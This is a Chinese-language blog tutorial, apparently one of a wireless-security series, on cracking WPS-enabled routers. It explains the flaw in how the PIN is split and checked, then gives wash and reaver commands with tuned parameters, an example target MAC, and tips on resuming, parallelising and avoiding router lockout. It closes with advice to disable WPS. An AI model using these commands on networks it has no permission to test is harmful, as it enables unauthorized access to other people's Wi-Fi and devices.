最近項目有點緊，所以本應該上周發的文章，拖到了本周三，在此說聲抱歉。無線安全專題，我打算系統地寫六個部分，分別為破解篇，攻擊篇，欺騙篇，路由篇，移動篇和藍牙篇，當然在發布的過程中，可能還會摻雜着發布flask的教程，分享我的個人博客框架。（我的新書《Python爬蟲開發與項目實戰》出版了，大家可以看一下樣章）
上一篇咱們說到了破解篇的第一課：kali破解WPA,今天我們要說的是通過破解pin碼,來獲取開啟wps功能的wifi密碼。
路由器開啟wps功能后，會隨機生成一個8位的pin碼，通過暴力枚舉pin碼，達到破解的目的，尤其現在很多路由器默認開啟了wps功能。大家可能會想到8位的隨機pin碼將會有100000000種情況，這要pin到何年何月呀。。。。。。不過接下來講解一下原理，大家會發現其實沒多少種情況，這也是這種攻擊方式比較流行的原因。
1.pin碼破解的原理:
pin碼是由8位純數字組成的識別碼，pin碼破解是分三部分進行的，規律是這樣的：pin碼分為三部分，如圖：
前4位為第一部分，第5-7位為第二部分，最后1位為第三部分。第一部分的驗證跟第二部分沒關聯，最后1位是根據第二部分計算得出的校驗碼。
破解一開始是先單獨對第一部分進行pin碼匹配，也就是說先破解前4位pin碼。前4位是0000-9999總共10000個組合。
當前4位pin碼確定后再對第二部分進行pin碼匹配，也就是再對5-7位進行破解，5-7位是000-999總共1000個組合。
當前7位都確定后，最后1位也會自動得出，破解完成。
根據pin碼破解的原理，可以看到只需要枚舉11000種情況就會必然破解出pin碼，從而通過pin得到wifi密碼。
2.PIN碼爆破:
講解明白原理，接下來開始使用工具爆破pin碼，無線專題我們都是基於kali2.0的操作系統，無線網卡采用的是WN722N。
爆破pin碼的前提是路由器開啟了WPS功能，首先咱們要做的是發現發現開啟WPS功能的wifi。
將網卡切換到監聽模式: airmon-ng start wlan1,如果監聽模式切換失敗，請看第一篇的內容。
在命令行中輸入:wash -i wlan1,掃描開啟wps的wifi設備。WPS Locked為No的都可以爆破試試。
找到了開啟WPS的wifi，接下來咱們就可以進行pin碼爆破，下面主要說一下reaver工具。
reaver 命令：
reaver命令參數:
- -i 監聽后接口名稱
- -b 目標mac地址
- -a 自動檢測目標AP最佳配置
- -S 使用最小的DH key（可以提高PJ速度）
- -vv 顯示更多的非嚴重警告
- -d 即delay每窮舉一次的閑置時間 預設為1秒
- -t 即timeout每次窮舉等待反饋的最長時間
- -c 指定頻道可以方便找到信號，如-c1 指定1頻道
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv）
應因狀況調整參數（-c后面都已目標頻道為1作為例子）
目標信號非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目標信號普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目標信號一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1
選擇之前掃描出來的開啟WPS的wifi，選擇一個進行破解。
輸入:reaver -i wlan1 -b 54:E6:FC:35:C5:82 -S -N -vv -c 4
在窮舉的過程中，reaver會生成以路由mac地址為名的wpc文件,這個文件在kali系統中/etc/reaver/文件夾下。
一時半會pin不出來，過段時間pin的時候命令加參數 -s file.wpc，就會根據之前的進度繼續pin。
3.注意點：
1.一般reaver 前四位默認是從0開始，如果想從指定的數值開始爆破需要添加-p參數：-p 9000,這個意思就是從9000開始，只要不pin死路由器，可以多開幾個窗口，從不同的數值開始。
2.最后pin完最后會顯示WPS PIN(正確的pin碼)和WPA PSK(wifi密碼)，同時如果WPS功能沒關，pin碼沒修改，無論怎樣修改密碼，都可以通過pin碼獲取wifi密碼: reaver -i mon0 -b mac -p pin碼，來再次得到密碼
3.一般pin的過快，會把路由器pin死，所以一般還會加上-d5 -t5參數，添加5秒延時，當然數值可以自己改。
4.防范措施：
1.WPS功能對個人基本上沒啥作用，還是關了吧。
2.現在的路由一般會有防pin措施，例如會有300秒pin限制，但這個是偽防pin,作用不是很大。它設置時間間隔，正好防止我們把路由器pin死。所以還是把WPS功能關了，不要過分相信防pin措施，畢竟只有11000種情況，早晚會破解。
今天的分享就到這里，下一篇繼續分析。如果大家覺得還可以呀，記得推薦呦。
歡迎大家支持我公眾號:
本文章屬於原創作品,歡迎大家轉載分享。尊重原創,轉載請注明來自:七夜的故事 http://www.cnblogs.com/qiyeboy/